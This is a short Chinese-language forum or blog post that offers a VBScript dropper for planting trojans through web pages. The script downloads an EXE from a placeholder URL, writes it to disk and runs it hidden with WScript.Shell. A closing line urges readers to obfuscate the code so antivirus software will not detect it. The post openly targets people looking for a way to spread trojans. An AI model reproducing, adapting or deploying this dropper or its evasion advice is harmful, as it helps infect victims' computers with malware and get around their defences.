VBS实现远程下载（无回应）+后台执行

很多朋友都喜欢玩马，只是苦于自己的木马没地方种，下面就给大家介绍段网页挂马的vbs脚本，代码如下：

 

'使用vbs下载文件脚本,可以下载http协议的二进制或者文本文件
'参考借鉴了vkill(vkill.net)的dos邮件发送批处理程序，在此表示感谢。

url = " [url]http://www.xxx.com/XXX.exe[/url]"    '网络上的EXE文件地址，改成你自己想要的就可以了啊
saveas = "XXX.exe"                '保存成的本地文件

Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象
Set stream = CreateObject("ADODB.Stream")       '创建ADO数据流对象

Call xmlhttp.open("GET",url,False)'打开连接
Call xmlhttp.send()'发送请求

stream.mode = 3 '设置数据流为读写模式
stream.type = 1     '设置数据流为二进制模式
Call stream.open()'打开数据流
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流
Call stream.savetofile(saveas,2)'将数据流保存为文件

Set WSHSHell=WScript.CreateObject("WScript.Shell") '创建Shell对象
'运行XXX.exe
WSHSHell.Run "XXX.exe",0

'释放对象
Set xmlhttp = Nothing
Set stream = Nothing

 

看到上面的代码可不要太高兴哦，应为这样的代码随便拿个破烂的杀毒软件都可以把它个咔嚓了，你还需要对代码进行加密才行哦...怎么加密就要先自己找喽..

上班去了，忙啊~~~~